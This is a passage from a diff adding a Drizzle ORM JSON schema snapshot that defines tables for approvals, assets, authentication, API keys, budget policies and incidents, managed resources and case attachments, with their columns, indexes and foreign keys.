+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_approval_id_approvals_id_fk": {
+          "name": "approval_comments_approval_id_approvals_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_author_agent_id_agents_id_fk": {
+          "name": "approval_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approvals": {
+      "name": "approvals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decision_note": {
+          "name": "decision_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approvals_company_status_type_idx": {
+          "name": "approvals_company_status_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approvals_company_id_companies_id_fk": {
+          "name": "approvals_company_id_companies_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approvals_requested_by_agent_id_agents_id_fk": {
+          "name": "approvals_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.assets": {
+      "name": "assets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "object_key": {
+          "name": "object_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content_type": {
+          "name": "content_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "byte_size": {
+          "name": "byte_size",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sha256": {
+          "name": "sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "original_filename": {
+          "name": "original_filename",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "assets_company_created_idx": {
+          "name": "assets_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_provider_idx": {
+          "name": "assets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_object_key_uq": {
+          "name": "assets_company_object_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "assets_company_id_companies_id_fk": {
+          "name": "assets_company_id_companies_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "assets_created_by_agent_id_agents_id_fk": {
+          "name": "assets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.account": {
+      "name": "account",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "account_id": {
+          "name": "account_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_id": {
+          "name": "provider_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "access_token": {
+          "name": "access_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "id_token": {
+          "name": "id_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "access_token_expires_at": {
+          "name": "access_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token_expires_at": {
+          "name": "refresh_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "password": {
+          "name": "password",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "account_user_id_user_id_fk": {
+          "name": "account_user_id_user_id_fk",
+          "tableFrom": "account",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.session": {
+      "name": "session",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token": {
+          "name": "token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "ip_address": {
+          "name": "ip_address",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_agent": {
+          "name": "user_agent",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "session_user_id_user_id_fk": {
+          "name": "session_user_id_user_id_fk",
+          "tableFrom": "session",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user": {
+      "name": "user",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email": {
+          "name": "email",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email_verified": {
+          "name": "email_verified",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "image": {
+          "name": "image",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.verification": {
+      "name": "verification",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value": {
+          "name": "value",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.board_api_keys": {
+      "name": "board_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "board_api_keys_key_hash_idx": {
+          "name": "board_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "board_api_keys_user_idx": {
+          "name": "board_api_keys_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "board_api_keys_user_id_user_id_fk": {
+          "name": "board_api_keys_user_id_user_id_fk",
+          "tableFrom": "board_api_keys",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_incidents": {
+      "name": "budget_incidents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start": {
+          "name": "window_start",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_end": {
+          "name": "window_end",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "threshold_type": {
+          "name": "threshold_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_limit": {
+          "name": "amount_limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_observed": {
+          "name": "amount_observed",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_incidents_company_status_idx": {
+          "name": "budget_incidents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_company_scope_idx": {
+          "name": "budget_incidents_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_policy_window_threshold_idx": {
+          "name": "budget_incidents_policy_window_threshold_idx",
+          "columns": [
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "threshold_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"budget_incidents\".\"status\" <> 'dismissed'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_incidents_company_id_companies_id_fk": {
+          "name": "budget_incidents_company_id_companies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_policy_id_budget_policies_id_fk": {
+          "name": "budget_incidents_policy_id_budget_policies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "budget_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_approval_id_approvals_id_fk": {
+          "name": "budget_incidents_approval_id_approvals_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_policies": {
+      "name": "budget_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'billed_cents'"
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount": {
+          "name": "amount",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "warn_percent": {
+          "name": "warn_percent",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 80
+        },
+        "hard_stop_enabled": {
+          "name": "hard_stop_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "notify_enabled": {
+          "name": "notify_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_active": {
+          "name": "is_active",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_policies_company_scope_active_idx": {
+          "name": "budget_policies_company_scope_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_active",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_window_idx": {
+          "name": "budget_policies_company_window_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_scope_metric_unique_idx": {
+          "name": "budget_policies_company_scope_metric_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_policies_company_id_companies_id_fk": {
+          "name": "budget_policies_company_id_companies_id_fk",
+          "tableFrom": "budget_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.built_in_managed_resources": {
+      "name": "built_in_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_key": {
+          "name": "bundle_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_version": {
+          "name": "stock_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stock_hash": {
+          "name": "stock_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "built_in_managed_resources_company_idx": {
+          "name": "built_in_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_resource_idx": {
+          "name": "built_in_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "built_in_managed_resources_company_bundle_resource_uq": {
+          "name": "built_in_managed_resources_company_bundle_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bundle_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "built_in_managed_resources_company_id_companies_id_fk": {
+          "name": "built_in_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "built_in_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_attachments": {
+      "name": "case_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_attachments_company_case_idx": {
+          "name": "case_attachments_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_attachments_asset_uq": {
+          "name": "case_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_attachments_company_id_companies_id_fk": {
+          "name": "case_attachments_company_id_companies_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_case_id_cases_id_fk": {
+          "name": "case_attachments_case_id_cases_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
